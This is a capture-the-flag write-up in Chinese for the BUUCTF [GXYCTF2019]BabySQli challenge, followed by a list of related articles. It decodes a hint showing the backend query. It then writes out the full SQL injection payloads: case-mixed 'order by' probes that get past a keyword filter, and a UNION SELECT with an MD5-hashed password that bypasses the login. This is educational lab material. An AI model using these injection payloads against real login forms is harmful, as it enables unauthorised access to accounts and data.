BUUCTF之[GXYCTF2019]BabySQli
题目
这题看到这个页面,而且题目上说的。给人的感觉就是个SQL注入题。。。。
启动BurpSuite抓包看看
有两个可疑点:
- 一是报用户错误(wrong user!),通常如果有这种错误的时候要先爆破账号,得到正确的账号后再去爆破密码。
- 这里返回的绿色部分明显是加密后的数据
首先提取绿色部分的信息,经过排查发现可以先base32解密,再base64
原数据:
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
先base32解密:
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
再base64解密:
select * from user where username = '$name'
看到这个SQL语句,果然是需要先爆破账号。。。
但实际上并不需要真的爆破账号,因为它的用户名就是:admin
。这在许多CTF里很常见,因为它并不是真的要考爆破账号,所以它会设置一个常见的值。就好比是这个admin就很常见。
它返回了wrong pass!就表示可以进行下一步了。
接下来就是套路化的操作了,先通过order by来确定有多少列
name=admin' order by 1 %23&pw=123456
发现order by被过滤了,试试看大小写能不能绕过
name=admin' oRder by 1 %23&pw=123456
发现是可以的,所以:
- name=admin’ oRder by 1 %23&pw=123456
(正常显示)
- name=admin’ oRder by 2 %23&pw=123456
(正常显示)
- name=admin’ oRder by 3 %23&pw=123456
(正常显示)
- name=admin’ oRder by 4 %23&pw=123456
(报错显示)
所以可以确认该表中只有3列
那接下来就是爆破数据库了,但是经过测试发现它把括号()
给过滤掉了。这咋整???函数基本都是要加括号的。。。。
然后上传找教程是说,这题可以通过union
这个关键字创建虚拟表。
就好比我在自己的数据库中有个test的表,表里有6列。所以:
select * from users;
然后再通过union关键字生成虚拟的数据:
select * from users union select 1,2,3,4,5,6;
可以看到加上union关键字后会在第四行生成我们自己定义好的数据。为什么说是虚拟的呢?因为union产生的数据是临时的,在下次查询的时候就会发现它不见了(因为它没有实际保存在数据库中)。
而这题就是利用这个原理,一开始我们已经确定好了它的用户名为:admin。但是它的密码我们却不知道,这时我们可以通过union来创建一个虚拟的数据,然后再通过SQL语句来查询它。这样它就能正常返回值了。比如:
select * from users union select 1,'admin','your input password',4,5,6;
所以原题目的payload可以改成:
name=1' union select 1,'admin','123456' %23&pw=123456
但是却发现还是不能拿到flag,问题何在???
思路是对的,只是出题方不想你这么简单的拿flag。所以密码的那部分还加了md5加密。
正确的payload是:name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e' %23&pw=123456
其中的e10adc3949ba59abbe56e057f20f883e
是123456
经过MD5加密后的值。
这个123456和后面的pw=123456
对应
总结: 不得不说,那些第一次靠自己做出来这道题的大佬是真的厉害。通过他们我又学到东西了
BUUCTF之[GXYCTF2019]BabySQli相关推荐
- BUUCTF | [GXYCTF2019]BabySQli
BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...
- BUUCTF [GXYCTF2019]BabySQli 1
刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!# 打开容器 就单单两个输入栏,,多少有点简陋 看标签叫Do you know who am I?看来是要用,先用万能 ...
- 【buu平台】[GXYCTF2019]BabySQli
[buu平台][GXYCTF2019]BabySQli 查看页面源代码发现search.php,文件中有一段base32编码 [base32是由大写字母和数字构成,其结尾有三个等号,base64由大小 ...
- buuctf [GXYCTF2019]BabySQli
今日份习题 名字叫babysqli 主界面是一个登陆页面,看起来好像不难的亚子 开搞! 通过尝试发现or,=,()都被过滤了 输入的时候,一个是wrong user,一个是wrong pass,尝试抓 ...
- buuctf [GXYCTF2019]BabySQli
常规sql注入都行不通,查看源码发现一个search.php, 先说说base32 和 base64 的区别, base32 只有大写字母和数字数字组成,或者后面有三个等号. base64 只有大写字 ...
- [ buuctf GXYCTF2019]BabySQli
输入账户 密码 后查看源代码 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VS ...
- BUUCTF——[GXYCTF2019]BabySQli
文章目录 利用点 解题 分析 完 利用点 SQL字符型注入 UNION SELECT联合查询特性 解题 search.php的注释发现hint <!--MMZFM422K5HDASKDN5TVU ...
- BUUCTF[GXYCTF2019]BabySQli
SQL注入题型,在进行了自己的一些测试发现,用户名存在admin,我们F12看看源码: <meta http-equiv="Content-Type" content=&qu ...
- BUUCTF:[GXYCTF2019]BabySQli
打开靶机 是一个登录框.右键看一下源码. 可以看到是以post方法传参.感觉像时间盲注.随便输入一个用户名和密码,然后bp抓包. 我们把这个页面全部复制,创建一个txt文件粘贴进去. 把这个文件托进k ...
最新文章
- C++ Primer 5th笔记(2)chapter 2变量和基本类型:constexpr 、auto、类型别名、decltype
- linux错误代码0x8008005,利用Windows10自带Linux学习(附带:0x8007019e错误解决方法)...
- 论文浅尝 | 基于动态知识图谱向量表示的对称合作对话代理的学习
- GoF23种设计模式之创建型模式之建造者模式
- 【seeprettyface.com】开源源码:Video-Auto-Wipe
- JSON (JavaScript Object Notation)
- Github开源项目总结
- 向前迈进!走入GC世界:G1 GC原理深入解析
- Windows10 如何清理注册表,教大家清理注册表方法
- 【WPF、UWP】搜索蓝牙设备
- 新一代医院信息系统(NGHIS)设计(2)——基础集成平台(I)
- 云摆摊 | 手把手教你制作ESP8266物联网创意点阵时钟,女朋友看了都想要!
- 挚爱身影渐隐。素绞无意世情狠
- 我是如何用问卷调查小程序来赚钱的
- 谷歌云服务_Google Cloud_使用注意
- EMC规划BRS产品线 推动私有云建设
- POJ1184-Smart typist
- java编写flash相册的制作软件_精美的flash相册制作软件
- 【中级软考—软件设计师】2操作系统2.3进程调度【】:2.3.1考点一:PV操作的概念
- 单面打印机打印小册子_如何在Microsoft Word中创建可打印的小册子